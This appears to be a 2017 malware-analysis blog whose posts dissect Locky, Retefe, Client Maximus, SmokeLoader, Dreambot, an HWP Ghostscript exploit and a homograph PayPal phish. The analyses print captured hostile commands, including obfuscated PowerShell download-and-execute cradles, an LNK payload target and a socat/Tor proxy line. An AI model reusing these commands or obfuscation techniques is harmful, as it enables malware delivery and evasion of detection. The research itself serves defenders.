Monday, 25 December 2017

Is Bitcoin Mining using Botnets really Profitable?

In this post I wanted to discuss Profitability of Mining Bitcoins using a Botnet. As you might know, Bitcoin is the first Crypto Currency in the world which introduced the concept of Blockchain. Bitcoin uses a Proof of Work concept which is based on SHA256 algorithm to generate the coins.

With the rise in price of Bitcoin, it has caught the attention of several Cyber Crime Threat Groups as well. We often see these days modular malwares with one component specifically for mining Crypto Currency. However, is it really possible to generate a decent number of Bitcoins by mining through a Botnet which an attacker controls? I'd like to share my views on this. It is often mentioned in mainstream media and Popular Security Vendors' blogs that a particular malware is using a Botnet to mine Bitcoins however they do not really discuss the success an attacker can achieve with this method.

In the earlier days of Bitcoin, mining was possible with CPU and later on with GPUs. Reason being, the number of miners in the Network were still less and so the Difficulty of the Network was significantly low as compared to today.

What is Bitcoin Mining Difficulty?

Bitcoin Mining Difficulty is a concept programmed in the Bitcoin Protocol to adjust the Network according to dynamic variables involved. The variables in the Bitcoin Network are:

1. Number of Miners
2. Total Network Hash Rate

The difficulty adjustment algorithm is programmed in such a way that upon creation of every 2016 blocks, the difficulty of the Bitcoin Network is re-adjusted.

As per the original whitepaper of Satoshi, a block must be generated in 10 minutes in the Bitcoin Network.

Time taken to generate 2016 Blocks = 2016 * 10 minutes = 20160 minutes = 336 hours = 14 days.

This means that the Bitcoin Network is expected to generate 2016 blocks every 2 weeks. However, due to the variables involved in the Bitcoin Network, the time taken to generate 2016 blocks can vary.

So, the difficulty of the Network is adjusted as shown below:

1. If the time taken to generate 2016 blocks is less than 2 weeks then the difficulty of the Network is increased.

2. If the time taken to generate 2016 blocks is more than 2 weeks then the difficult of the Network is decreased.

At the time of writing this post, the latest instance of Difficulty Adjustment in the Bitcoin Network took place at: 2017-12-18 13:55:20 with a Block Height: 499968. The Difficulty of the Network at present is: 1,873,105,475,221.61 which is a 17.73% increase in Difficulty.

Since, difficulty adjustment takes place every 2016 blocks, it means that the total number of times the difficulty of Bitcoin Network has been adjusted is 248 (derived from: 499968/2016) times.

Now, let's discuss the variables involved in Bitcoin Network which determine Difficulty.

Network Hash Rate

This is the Sum of the total mining power in the Bitcoin Network. There are several factors which determine this value:

1. Price of Bitcoin: If the Price of Bitcoin decreases, the mining profitability can decrease and this may not be a sufficient incentive for the miners to continue mining. Since, most of the miners are mining Bitcoin for financial benefit. Miners often switch between multiple Crypto Currencies with their hardware based on the currency which is more profitable to mine.

2. The Latest Hardware Technology: In the earlier days, to mine Bitcoins quickly, people had setup GPU farms which was an array of the latest GPU hardware. This involved a lot of cost, heat generation, power consumption and maintenance. Soon, miners figured out a way to mine Bitcoins faster. They started using ASICs which leveraged implementation of SHA256 hardwired into the device.

At the time of writing this post, the fastest ASIC mining hardware is Antminer S9 with a mining speed of approximately 14 THashes/sec = 14,000,000 Million Hashes/second.

Botnet Mining Profitability (Best Possible Scenario)

Now, let's consider a scenario where a malware author has compromised a large number of computers and successfully got the Bitcoin Mining code running in background on the machines. Let us assume the following:

1. Each of these machines in the Network is running the latest and fastest instance of Intel i7 Quad Core Processors.
2. The machines are running 24 * 7, which means that the machines are running constantly at their optimal speed.
3. Bitcoin Mining code is using all the 4 cores and 100% CPU usage.
4. Botnet consists of 30 Million machines satisfying the above 3 conditions. I have considered the size to be 30 million since that was the size of Bredolab (the largest Botnet Known till date).

So, what would be the total mining Power generated using this Botnet?

1 Intel Core i7 3930k Processor generates a Mining speed of 66.6MHashes/second
Size of Botnet = 30 million

Total hashing power = 1998 THashes/second.

Now, the above conditions were considered to depict the Best Possible Scenario. However, that will not be possible in real world because of following reasons:

1. Malwares would ensure that their Bitcoin Mining Code does not leverage the complete CPU power to avoid suspicion and not impact the user experience. The goal of the attacker is to mine for as long as possible in a stealthy way.

2. It is not a realistic scenario that all the machines in the Network would be running the latest Intel i7 Quad Core Processor.

3. The machines in the botnet will not be running 24 * 7. Reason being, these machines belong to users who will switch off the machines at regular intervals. So, while the machines are powered down, the mining process will not run.

4. The size of the Botnet considered above was to depict the best case scenario.

Botnet Mining Profitability (Realistic Scenario)

Now, let's perform a realistic calculation:

1. Average Mining Speed - To calculate this value we can refer the Bitcoin Mining Benchmarks for CPU here:

Let us consider all the 17 Intel i7 Processors listed there and calculate the average Mining Speed.

This gives us an Average mining speed of 15.61 MHashes/Second

2. For stealthy mining, the attackers might use 60% of the Total processing power.

Effective Mining Speed = 9.36 MHashes/Second

3. Size of Botnet. Even in a realistic scenario, we have considered the latest Intel Processors. So, let us assume the size of the Botnet to be: 1 Million Machines with an average Mining Speed of 9.36 MHashes/Second.

Total Mining Speed of the Botnet: 9.36 * 1 Million Million Hashes/Second = 9.36 THashes/second

The Botnet Mining speed above is still less than the Mining Speed of a Single Antminer S9 ASIC device. This ASIC device costs 3000 USD.

Number of Bitcoins Generated with Botnet

Let us now calculate the Number of Bitcoins which will be generated by the Botnet. To do this calculation, we can use the Mining Profitability calculator here:

With a mining speed of 9.36 THashes/Second, the Botnet would only generate 0.45 Bitcoins in 1 Year.

And this is also assuming the following conditions:

1. Bitcoin Difficulty remains constant throughout the Year (which is not realistic. It will most likely increase a lot).
2. The machines in the Botnet are running throughout the Year (which is again not so realistic).

So, I hope with this post you can understand that even if an Attacker compromises a Large Botnet of machines running the latest CPUs with a consistent uptime, they would not even generate Half of a Bitcoin in 1 Year.


Monday, 30 October 2017

Targeted Attack on South Korea exploits CVE-2017-8291

Recently I discovered an HWP document in the wild which was weaponised to exploit the Vulnerability (CVE-2017-8291) in GhostScript Processor used in Hancom Office Word Processor Application. This document used the theme of Korean Day (celebrated on Oct 5th 2017) and the attack was targeted towards South Korean users.

Hancom Office is a Popular Word Processing application used in Korea and the Documents specific to this application have the file extension: "hwp".

MD5 hash: 3d0d71fdedfd8945d78b64cdf0fb11ed
Original Filename: 세계한인의 날 알아보기.hwp

It translates to: Korean Day

The contents of the Document are shown in Figures 1, 2 and 3. As can be seen, the content was clearly targeted towards South Korean users.

Figure 1

Figure 2

Figure 3

Extraction of Malicious PostScript

This HWP file has a compressed PostScript embedded inside it. As shown in Figure 4, we can see the Embedded PostScript.

Figure 4
Encrypted PostScript embedded inside PostScript

After extracting and decompressing the PostScript, we can see that it contains another layer of XOR encrypted PostScript as shown in Figure 5.

Figure 5
The XOR decryption loop is written in PostScript language and it uses a 4 byte XOR decryption key: 0xA3E6E7BB

After decrypting the above PostScript, we get another layer of PostScript as shown in Figure 6.

 Figure 6
PostScript used to Trigger Vulnerability

This PostScript contains the shellcode along with the malicious PostScript which is used to trigger the vulnerability in GhostScript.

The particular section of code which triggers the vulnerability as shown in Figure 7.

 Figure 7
There is a vulnerability in the way .eqproc instruction in GhostScript processes the parameters.

Shellcode Analysis

Let's take a look at the shellcode now. The shellcode entrypoint looks like shown in Figure 8.

Figure 8
It scans the contents of the shellcode for a marker, 0xAABBCCDD. This marker is followed by a 0x4 byte XOR key which is used later for decrypting the encrypted DLL embedded inside the PostScript.

In order to perform the decryption, the Shellcode scans all the Open File Handles corresponding to the Current Process.

The API sequence looks as shown below:

ZwQuerySystemInformation(0x10, <heap_address>, 0x10000, 0x0)
ZwQuerySystemInformation(0x10, <heap_address>, 0x20000, 0x0)
ZwQueryObject(object_handle, 0x2, <heap_address>, 0x1000, 0x0)
ZwQueryObject(object_handle, 0x1, <heap_address>, 0x1000, <address>)

As shown in Figure 9, it gets the handle information using ZwDuplicateObject() and ZwQueryObject(). Then the filename corresponding to this Handle is checked and if it ends with ".ps", then it indicates we have obtained the handle to PostScript loaded in memory of Hancom Office Application.

Figure 9
The filename check for the Handle is shown in Figure 10.

Figure 10
Once the handle to PostScript is obtained, it maps the entire PostScript into memory using: CreateFileMappingA() and MapViewOfFile()

Now, it searches the PostScript for the marker, "exec". The encrypted DLL is present right after this marker in the PostScript as shown in Figure 11.

Figure 11
The shellcode decryption routine is shown in Figure 12.

Figure 12
It uses a 0x4 byte XOR key (0xA3E6E7BB) which is present right after the marker, 0xAABBCCDD in the shellcode.

After decrypting the encrypted DLL, it will be injected into explorer.exe process. As a result of it, we can see that the DLL is never dropped on the disk and so it's a fileless malware.

MD5 hash of the decrypted DLL: d897b4b8e729a408f64911524e8647db

Below are the details of the Network Callbacks performed by the DLL: and port 5443 and port 443

I'll add more details of the payload in a follow up blog.

Monday, 23 October 2017

Client Maximus Banking Trojan Attacks active in Brazil

In Sept 2017, Client Maximus payload was discovered by IBM X-Force team and blogged here.

In the past few weeks, I observed that Client Maximus is still being spread to the users in Brazil. Since there is already a good writeup of Client Maximus available in the IBM X-Force blog, I will be adding some details which were not covered there.

In the recent campaign, it was observed that RAR files were sent as an email attachment with an LNK file inside them. This LNK file leverages Powershell to download the Powershell Loader from the URL: hxxps:// which will perform the remaining malicious activities.

MD5 hash of the RAR file: d1ae4ff4f632d4f5e310ca17b084b55e

The target of the LNK file is as shown below:

C:\Windows\system32\cmd.exe /V /C "set wx=^en&&set pr=^e^r^s&&set qr=he^ll&&set wq=^p^o^w&&set dy=^W^i^ndo^ws!wq!!pr!!qr!\^v^1.0\!wq!!pr!!qr!&&echo ^s^ap^s ^"!dy!^" ^"-!wx!c^o^d^e^d SABhAEMAOwBpAGUAeAAoAE4ARQB3AC0AbwBCAGoAZQBjAFQAIABuAEUAVAAuAFcARQBCAGMAbABJA...

After decoding, the Target is as shown below:

HaC;iex(NEw-oBjecT nET.WEBclIenT).doWNloADstRinG('hxxps://');DFG

It's interesting to note that the parameter passed to gl.php is a base64 encoded URL in the format: URL|field. The significance of the field will be explained later in this article.

So, in our case, the above base64 encoded parameter decodes to: hxxps://|22Ub

1st Stage Powershell Loader

After connecting to the above URL, it downloads the first stage Powershell Loader. This loader will download the XOR encrypted .NET assembly from the URL: as shown in Figure 1.

Figure 1

It's encrypted with a single byte XOR key, 0x6a. Once we decrypt it, we can decompile the code to analyze further.

From the main Powershell Code, the Go() method from above decrypted assembly is invoked which is shown in Figure 2.

Figure 2

It first performs a Geo IP check as shown in figure 3 to confirm whether the user is located in Brazil.

Figure 3

It then performs a check for the installed programs as shown in figure 4.

Figure 4.

The list of paths it checks are:

GUID:  E37CB5F0-51F5-4395-A808-5FA49E399F83
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399003
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399008
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399007
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399011
Path: %PROGRAMFILES%\\scpbrad
Path: %ProgramFiles(x86)%\\scpbrad
Path: %ProgramFiles(x86)%\\AppBrad
Path: %LOCALAPPDATA%\\Aplicativo Itau
Path: %SystemDrive%\\Sicoobnet
Path: %PROGRAMFILES%\\Trusteer\\Rapport
Path: %ProgramFiles(x86)%\\Trusteer\\Rapport

Once both these checks have passed, then it continues to perform the following operations:

1. It downloads an Integer code from the URL:  hxxps://
2. Download the filename from the URL: hxxps://
3. Download the exe payload from the URL: hxxps://
4. Download the .NET config from the URL: hxxps://
5. Download the .NET bytecode from the URL: hxxps://

All the above download requests are handled by the methods, dlToText() and dlToFile(). As we can see in Figure 5, these methods will add a custom HTTP header before initiating the request.

Figure 5

The format of the custom HTTP header is: x-id: <field_name>

In our case, the field name is 22Ub. It is important to note that if this HTTP request header is not added to the request, then the server won't respond to the request with the requested data.

After the above functions are completed, the 1st Stage Powershell Loader will create a VBS file which will execute the .NET payload downloaded by the Go() method. In addition to this, another LNK file is created which will execute the VBS file as shown in Figure 6.

Figure 6

I'll add more details of this campaign and the IOCs in a follow up blog.

Wednesday, 11 October 2017

Locky based Downloader adds a Geo IP Check

In the ongoing spam campaign of Locky, there is a small upgrade made by attackers in the delivery mechanism. The VBScript based downloaders have added a Geo IP check. Based on the geographical region in which the user is located, it either downloads Locky or Trickbot.

Below are some technical details:

MD5 hash: 6e2692c124a69566838cde01b7669532

In Figure 1, we can see the Geo IP check performed.

Figure 1

It connects to either of the following sites to fetch information in JSON format about the geographical location of the user:

Once it obtains this information, it checks whether the country code matches any of the following:

"GB", "UK", "AU", "LU", "BE", "IE"

The above country codes and their corresponding countries are:

GB - United Kingdom
UK - United Kingdom
AU - Australia
LU - Luxembourg
BE - Belgium
IE - Ireland

If the country code matches any of the above, then it will download Trickbot instead of Locky.

There is a different set of Download URLs for Locky and Trickbot as shown below:

If Ubound(Filter(need, choice)) > -1 Then
          ZimZamZum = Array("","","")
          ZimZamZum = Array("","","")
        End If

The URLs with the pattern: "jhbfvg7" correspond to Trickbot Download:

The URLs with the pattern: "8y6ghhfg" correspond to Locky Download:

The downloader in this case fetches the following samples based on the geographical region:

MD5 hash: dda37961870ce079defbf185eeeef905 (Locky which encrypts files with ".asasin" extension
MD5 hash: dbc0aa7e70df7e27ae9169ae0962e2cf (Trickbot)

Retefe Banking Trojan Updates Spreading Mechanism

There is a change in the spreading strategy of Retefe Banking Trojan in October 2017 while targeting Swiss users.

Earlier in September 2017, we observed it being spread through LNK files embedded in the Documents. You can refer my previous blog on it here.

Attack Flow in September 2017 -> Doc -> LNK -> powershell -> Retefe

However, in the second week of October 2017, it is being spread through Macro based Documents:

Attack flow in October 2017 -> Doc -> Macro -> powershell -> Retefe

Filename Patterns for the Documents sent in the campaign:


The Document displays a warning in German which prompts the user to enable macros in order to view the Document contents as shown in Figure 1.

Figure 1

Execution Flow

At first, Macro launches Powershell to download the payload from either one of the following URLs:


Below is the relevant PowerShell script which does this:

powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = 'hxxp://,hxxp://,hxxp://,hxxp://,hxxp://'.Split(',');$path = $env:temp + '\65536.exe';foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}

The downloaded payload is then executed by Powershell.

In our case, MD5 hash of the downloaded payload is: 6233e426bd6ade588463d268897f813b

Indicators of Compromise

1. Drops a JavaScript file in the Path: C:\ProgramData\<random_name>.<random_extension>

Below are the details of the Config File used by the JavaScript:

Tor Servers: dl: ["igs67efmlcucq57u.onion","jotetnnmfzb42sdw.onion","ou47twzxgnicn7ga.onion","aulqkm5upaqmto3i.onion"]
cert: It's a Comodo signed Cert with the Serial Number:  00 ff 66 fa 4e 0b 64 80 0e
ps: Certificate Installation Script
pstp: Base64 encoded Powershell script which will install TOR and Socat installer.
pslog: Base64 encoded Powershell script which will collect information about the machine and upload through FTP to attacker's server:

Once again, we don't observe the usage of Eternal Blue Exploit and there is no pseb section inside the config section of JavaScript.

3. Drops the file: Microsoft.Win32.TaskScheduler.dll in the path: %temp%\random\

This DLL is leveraged by the PowerShell script for the purpose of setting up a Scheduled Task.

4. Drops a Powershell script in the path: C:\ProgramData\<random_name>.ps1

This Powershell Script will set up the scheduled task which will execute both TOR and Socat to setup the SOCKS proxy as shown below:

socat.exe tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind= SOCKS4A:,socksport=9050

MD5 hashes of the Documents:


Tuesday, 10 October 2017

Evasions and IOCs of SmokeLoader in the Wild

In this article, I would like to explain how to identify whether a given binary is SmokeLoader or not.

Spam campaigns have been active since the past few months spreading SmokeLoader. I am not going to explain the unpacking process in this article because it is quite straightforward and already covered in some other articles.

However, this article will explain you the IOCs, Evasion indicators and Network Callback Indicators to help conclude whether a given binary is SmokeLoader.

Note: Some of the indicators below may correspond to other Malwares as well. So, it's important to look at the complete collection of activities performed before concluding it is SmokeLoader.

VB Compiled Binary

The samples of SmokeLoader found in the wild make use of VB compiled binaries, so you should see MSVBVM60.dll in the Import Directory.

Anti Debugging Techniques

Following two anti debugging techniques are used during the unpacking process:

a) Check PEB for BeingDebugged Flag value.
b) Check PEB for NtGlobalFlags value.

Environment Checks

After unpacking the binary, we observe that two threads are created (refer Figure 1) where each thread performs a scan in the system to identify Security tools. If it identifies any security tools then it terminates those processes.

Figure 1

Process Name Check

It enumerates the running processes in the system using CreateToolHelp32Snapshot/Process32First/Process32Next (refer Figure 2).

Figure 2.

And then for each process, it does the following:

a) Calculate length of process name.
b) Calculate a 0x4 byte hash using the length of process name and the process name itself as shown in Figure 3.

Figure 3

c) This 0x4 byte hash is compared against a table of precomputed hashes. If it matches any one of them, then the corresponding process is terminated as shown in Figure 4.

Figure 4.

Here is the list of hashes: ['0xb4a1d05', '0x19195c02', '0x1c0e041d', '0x6185d0b', '0x1d07120a', '0x60b5118', '0x550e1e0d', '0x51565c47', '0x4114c14', '0x5f4e5c04', '0x14585a12', '0x145e5c14']

Window Class Name Check

Here, the binary enumerates the top level windows in the system using EnumWindows (refer Figure 5).

Figure 5

And then for each Window, it does the following:

a) Calculate the length of Window Class Name.
b) Calculate a 0x4 byte hash using the length of window class name and the window name itself.
c) This 0x4 byte hash is compared against a table of precomputed hashes. If it matches any one of them, then the process corresponding to the Window Class name is identified using GetWindowThreadProcessId and then it is terminated.

Here is the list of hashes: ['0xb4a1d05', '0x19195c02', '0x1c0e041d', '0x6185d0b', '0x1d07120a', '0x60b5118', '0x550e1e0d', '0x51565c47']

Volume Serial Number Check

It Calls the API, GetVolumeInformationA() to get the Volume Serial number and compares it against the values: 0x0cd1a40 and 0x70144646 as shown in Figure 6.

Figure 6

Config Decryption

SmokeLoader has a specific configuration which it re-uses multiple times during the process of execution. This config is stored RC4 encrypted and it uses a 0x4 byte RC4 key for decryption.

The decrypted config is shown in Figure 7.

Figure 7

I'll explain the purpose of some of the fields in the config below: - To check Internet Connectivity
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run - Windows Registry key for Persistence
Software\Microsoft\Windows\CurrentVersion\Run - Windows Registry key for Persistence
Software\Microsoft\Windows\CurrentVersion\Uninstall - To Enumerate the list of Installed Softwares.
sample - Looks for this string in the Process Command Line path
System\CurrentControlSet\Services\Disk\Enum - Windows Registry Key checked to identify usage of Virtualization Environment
advapi32.dll - It gets the timestamp details of advapi32.dll and uses this to set the timestamp details of dropped binar
explorer.exe - The target process in which code needs to be injected

Below are the list of modules it has to load during the process of execution:


HelpLink - It looks up this Registry Key value for each Installed Software to get the corresponding URL
URLInfoAbout - It looks up this Registry Key value for each Installed Software to get the corresponding URL

It checks whether the modules corresponding to known Sandboxes are loaded or not.


The following strings are checked in the Registry key: System\CurrentControlSet\Services\Disk\Enum to detect the presence of Virtualization Environment.


Code Injection

SmokeLoader performs code injection in explorer.exe process using the concept of Section mapping. It modifies the entry point of explorer.exe process by adding a trampoline which points to the injected code as shown in Figure 8.

Figure 8

Sequence of APIs used in code injection:


Indicators Of Compromise

1. Binary creates a copy of itself in the path: %Appdata%\Microsoft\<random_name>\ directory with the filename, <random_name>.exe
2. It adds the ZoneIdentifier ADS to the dropped binary, so it looks like: %Appdata%\Microsoft\<random_name>\<random_name>.exe:ZoneIdentifier
3. It uses the Timestamp details of a legitimate system module like advapi32.dll to set the Timestamp details of the dropped binary.
4. Deletes the original binary.
5. Sets the file attributes of the dropped binary to SYSTEM|HIDDEN
6. Sets the Persistence Registry Key: \REGISTRY\USER\<SID>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ to the path of dropped binary.

Windows Persistence Mechanism

For persistence, it adds the path of the dropped binary to the Windows Registry Key as mentioned above. However, one interesting function performed by SmokeLoader is to monitor any changes made to this Registry Key by using RegNotifyChangeKeyValue() API using the notify filter, REG_NOTIFY_CHANGE_LAST_SET.

It registers an event to monitor changes made to the Registry Key and if any change is detected then it reverts the change as shown in Figure 9.

Figure 9

Network Callbacks

SmokeLoader is known to perform a lot of Network Callbacks to legitimate domains by sending HTTP POST requests. The data sent in the POST requests to these sites is randomly generated.

How does SmokeLoader fetch the list of URLs to send the HTTP POST request to?

1. It calls RegEnumKey and enumerates the list of Installed Softwares.
2. For each installed software, it looks up the value of HelpLink and URLInfoAbout keys, if it finds a URL, then it randomly generates data and sends a POST request to it.

I will add more details of indicators to this blog so that it serves as a future reference.

Wednesday, 4 October 2017

Locky Ransomware Campaign Continues in October 2017

Spam Campaigns spreading the new variant of Locky Ransomware which encrypts the files with the extension "ykcol" continue steadily even in the first week of October, 2017.

Today's wave of emails are spreading JavaScript based Locky Downloaders inside 7z archive email attachments. The subject of the emails have either of the following 2 formats:

Emailing - PDFxxx
Emailing - DOCxxx

where, xxx is a 3 digit Number.

The contents of the email are simple and they just request the user to check the attachment as shown in Figure 1.

 Figure 1
As an example, let's look at a sample.

MD5 hash of the 7z archive: 0da6a56f73e1e0211802a73c3ed1249a
MD5 hash of the JavaScript file: 347cd2e1885c6be2a0faeb3d11efa437

In Figure 2, we can see the obfuscated JavaScript which is used to download the Locky Ransomware unencrypted over the Network.

Figure 2
In Figure 3, we can see the HTTP GET request corresponding to download of the Locky Ransomware.

Figure 3
After all the files are encrypted, the message (refer Figure 4) is displayed to the User with instructions for recovering the file contents.

Figure 4
As usual, the users need to visit the TOR site as shown in Figure 5.

Figure 5

This variant still continues to use the same TOR site: g46mbrrzpfszonuk.onion

Once you enter the identifier generated by Locky for your machine on the website above, it will give details for the Bitcoin Payment as shown in Figure 6.

Figure 6

Bitcoin Address: 1MkzcKCiqiz7v57GnLhnLRLodqdjX5hKic

If we look it up on, then we can see that at present, no payments have been sent to them.

Below is a list of MD5 hashes of the 7z files sent in this campaign:


Network Callbacks from where the Locky Ransomware is fetched by the first stage JavaScript based downloader:

Sunday, 1 October 2017

PayPal Phishing - Homographic Email Body

There's an ongoing PayPal Phishing Campaign in the wild which sends HTML attachments that spoof PayPal Forms and request users for sensitive information. This campaign was particularly interesting because the email body was encoded with Unicode characters which look similar to corresponding ASCII Characters.

Homographic attacks are usually performed to craft URLs which look like legitimate URLs by substituting some of the ASCII characters with their look alike Unicode characters.

However, in this particular campaign, the entire email body has been crafted using this technique.

Why apply Homographic Technique to Email Body?

Several Security Analysts as well as Security Vendors write static signatures which are crafted to detect patterns in the email body. The Homographic technique allows these static signatures to be easily bypassed because the attackers can mix ASCII as well Unicode characters to generate different patterns.

As an example, in the email shown in Figure 1 we can see that the email body looks like it's written in English Language. But if you pay close attention, you will observe that some of the English letters have been substituted with look like Cyrillic characters.

Figure 1
To get a better understanding of this, let's look at the email body with Unicode characters displayed with their equivalent encoding as shown in Figure 2.

Figure 2

The actual Unicode Encoded text is:

%D0%85%D0%B5ptember 29th 2017


It %D0%B0%D1%80pea%D0%B3%D1%95 t%D2%BBat some of y%D0%BEu%D0%B3 %D0%B3ec%D0%BE%D0%B3d%D1%95 %D2%BBav%D0%B5 g%D0%BEne miss%D1%96ng %D0%BEr be%D1%81%D0%B0me out%D4%81at%D0%B5d.

Now, if we look up the above unicode encodings, we can understand how the attacker has mixed ASCII with Unicode characters.

As an example, let's decode the string: "%D0%85%D0%B5ptember 29th 2017"

Unicode Characters are always encoded using 2 bytes.


You can look up the Unicode Values here:

In this way, we can see how the attacker has encoded the string: "September" by using Unicode Characters.

HTML Attachment Analysis

MD5 hash: bfe06c7da972a82477016193e5b3c3ac

The HTML attachment contains obfuscated JavaScript as shown in Figure 3. It uses HTML DOM to dynamically construct the PayPal HTML Form.

Figure 3

This is done by creating an HTML script tag dynamically with the src attribute set to: (shown in Figure 4).

Figure 4

After deobfuscating the above JavaScript, we can see the PayPal HTML form.

Another interesting technique is the dynamic replacement of the Action field in HTML form on  Submission.

The HTML Form looks as shown below:

<form name="ytrKbjzK" onsubmit="">
<input type=button class=submitBtn onClick=uF8Nu() value="Submit Form">

So, when the Submit button is pressed, the function,  uF8Nu() is invoked.

This function will dynamically replace from the HTML POST Action field with the URL: hxxp:// when the form is submitted as shown in Figure 5.

Figure 5

The actual HTML form looks like shown in Figure 6.


Below are some more HTML files from the wild which were sent in the same campaign and the corresponding email bodies were encoded using the technique described above.


Friday, 29 September 2017

Dreambot Targeting Bulgarian Users

Recently, in a spam campaign targeted towards Bulgarian users, malicious JavaScript based Dreambot downloader was sent inside an archive file. The theme of the emails was related to "Notification of changes to Regulation for NRA" as shown in Figure 1.

Figure 1

NRA is the National Revenue Agency in Bulgaria (in Bulgarian it is: Национална агенция за приходите).

The JavaScript file had multiple layers of obfuscation and it was particularly interesting to deobfuscate this JavaScript because conventional methods of deobfuscation would not work here.

The conventional methods of deobfuscation include replacing eval() with WScript.Echo(), simple hex or base64 string decoding.

Usually, conventional methods of deobfuscation used by Analysts include modifying the JavaScript so that it prints the deobfuscated output which can be further analyzed.

However, an interesting technique used in the JavaScript in this case was Function Length based Obfuscation.

What is Function Length based Obfuscation?

The main function which is used to perform the malicious activities is obfuscated. It uses the Length of the Function Body as a parameter for decryption. As a result of this, any modifications made to the JavaScript will prevent the data to be decrypted properly.

Layer 1 of the JavaScript is shown in Figure 2. It can be deobfuscated easily by replacing eval() with WScript.Echo().

Figure 2

Layer 2 JavaScript is shown in Figure 3. This layer uses the Function Length based Obfuscation technique which doesn't allow the conventional methods of analysis to work.

Figure 3

After careful inspection of the code, we can see that the long encoded string is passed for decoding to function, KNOY8I(). However, if we try to echo the return value of this function to get the decoded string, it won't work because inside the function, KNOY8I() it uses the length of the function, C47RAD() as a decoding parameter.

The following line of code will replace all instances of the characters, "\(| |    |\n|\r|;|}|{|\)" from the function body of C47RAD(). Then it calculates the length of the function body and splits it into an array as shown below:

var FW29WS=C47RAD[YM8N2P[1]]()[YM8N2P[0]](/\(| |    |\n|\r|;|}|{|\)/)[YM8N2P[2]]("")[YM8N2P[3]][YM8N2P[1]]()[YM8N2P[0]]("")

In our case, the length of the function body is 5686 bytes. So, the array, FW29WS[] is set to [5,6,8,6].

Later on in the code, the length of the function body is used as shown below to decode the string passed to this function:


How do we decode this JavaScript?

The best way to perform deobfuscation in this case is by debugging the script and stepping through the code. cscript and wscript on Windows provide a method to perform JIT debugging. You need to invoke your script as shown below:

cscript.exe <script_name.js> //X

This will prompt us to choose the Debugger. We will use MS Visual Studio debugger and step through the code. We are specifically interested to know the return value of the function: KNOY8I(). So, we can set a Watch on the variable: YM8N2P() which will store the return value.

YM8N2P is an array as shown below:

[0]           "i0,R1(ESrL)|yO6DpTebGlfB.xj84otHIa/Am9gchu-n2Q5q:s?W d"
[1]           ""            String
[2]           "split"    String
[3]           "length"                String
[4]           "charAt"               String
[5]           "Type"   String
[6]           "Charset"              String
[7]           "Open"  String
[8]           "WriteText"         String
[9]           "SaveToFile"        String
[10]         "Close"  String
[11]         "GetSpecialFolder"            String
[12]         "push"   String
[13]         "setTimeouts"     String
[14]         "open"   String
[15]         "send"   String
[16]         "Sleep"  String
[17]         "responseText"   String
[18]         "indexOf"              String
[19]         "Status" String
[20]         "substr" String
[21]         "fromCharCode" String
[22]         "apply"  String
[23]         "Run"     String
[24]         "echo"   String
[25]         "Quit"    String

The first member of this array is a long encoded string which is used to construct important keywords and parameters in the JavaScript. As an example:

var G612GW=new ActiveXObject(WV7D7I[35]+WV7D7I[15]+WV7D7I[13]+WV7D7I[15]+WV7D7I[23]+WV7D7I[24]+WV7D7I[7]+WV7D7I[30]+WV7D7I[8]+WV7D7I[18]+WV7D7I[33]+WV7D7I[36]);

Here, WV7D7I corresponds to an array of characters of the encoded string in YM8N2P[0]

So, we can decode the above string as shown below:

var t = "i0,R1(ESrL)|yO6DpTebGlfB.xj84otHIa/Am9gchu-n2Q5q:s?W d"
var WV7D7I = t["split"]("")


The decoded string is as shown in Figure 4.

Figure 4

In this way, we can decode all the strings and the deobfuscated script is as shown in Figure 5.

Figure 5

Steps performed by the JavaScript:

1. It downloads the encrypted binary (refer Figure 6) from the URL:<counter>. Here, counter is a variable which is incremented in a loop till the time, JavaScript receives the response from the Server. Between each attempt, the JavaScript sleeps for 1 second.
2. Once it receives the response, it checks the response for the marker: "|||"
3. If the marker is found, then it splits the response into 2 parts using the marker. The resulting content is sent to the decryption routine.
4. The decrypted content is a binary which is dropped in the path: %temp%\62ea.exe
5. It is then executed using WScript.Shell["Run"]
6. After execution, a message box is displayed with the message: "Runtime Error 0x48940 (.QBT) Library not located on the system, please use x64 system." This message is only for social engineering purpose.

Figure 6

MD5 hash of the Dropped Binary: 37fb9dd68c86deeb44b672a84a8e25bf

The dropped binary is Dreambot with functionality to communicate through TOR and this is evident from the following Registry Keys it creates post execution:



 The TOR client is fetched encrypted from the URL:

Saturday, 23 September 2017

Deep Dive into Retefe Banking Trojan - TOR and Socat Backdoor

Recently I observed an email campaign spreading Retefe through malicious Word Documents to users in Switzerland.

An instance of the email is shown in Figure 1.

Figure 1.

These Word Documents had an embedded LNK object present inside
them as shown in Figure 2.

Figure 2

Proofpoint recently mentioned in their blog about the usage of Eternal Blue Exploit in Retefe Banking Trojan however in the most recent samples, this section has been removed from the config.
Some of the details I mention here are not present in Proofpoint blog.

In this blog, I present details of different stages involved in this malware delivery mechanism.

If we extract the LNK object from the MS Office Word Document and check the value of the Target Field, it is set to:

cmd.exe /V /K set p=p&&!p!owershell -w hidden -c "IEX (('JD'+'0F'+'=JD0en'+'v:Temp+yh'+'CnMgcj'+'hhemyx.exeyh'+'C;(Ne'+'w-Object

This value is obfuscated using Powershell. Upon deobfusctation we can see that it will download a Binary from the URL: hxxp:// to the path:
%temp%\cjhhemyx.exe and execute it using IEX.

It is interesting to note that the Invoke Expression string, "IEX" is obfuscated here using: (GEt-VariAbLE '*mDR*').namE[3,11,2]-JOIn'') as shown in Figure 3.

Figure 3
This technique was used in Invoke-Obfuscation Powershell module here:

Now, let's download the malicious binary from the URL: hxxp:// and analyze it.

MD5 hash of the binary: 20ad3fa4986be9c01ffb6877cb96d5ed

It's an NSIS binary which executes a JavaScript upon execution. We can extract the contents of the NSIS file using 7z for the purpose of static analysis.

The JavaScript is obfuscated as shown in Figure 4.

Figure 4
After deobfuscating, we get the JavaScript as shown in Figure 5.

Figure 5
This JavaScript gives us an insight into all the malicious activities performed by the binary.

The most important section in this JavaScript is the config section. It's a collection of key value pairs and below is a brief description of them:

dl:[<list of TOR Servers>] - This contains a list of TOR servers which are used as a SOCKS proxy.
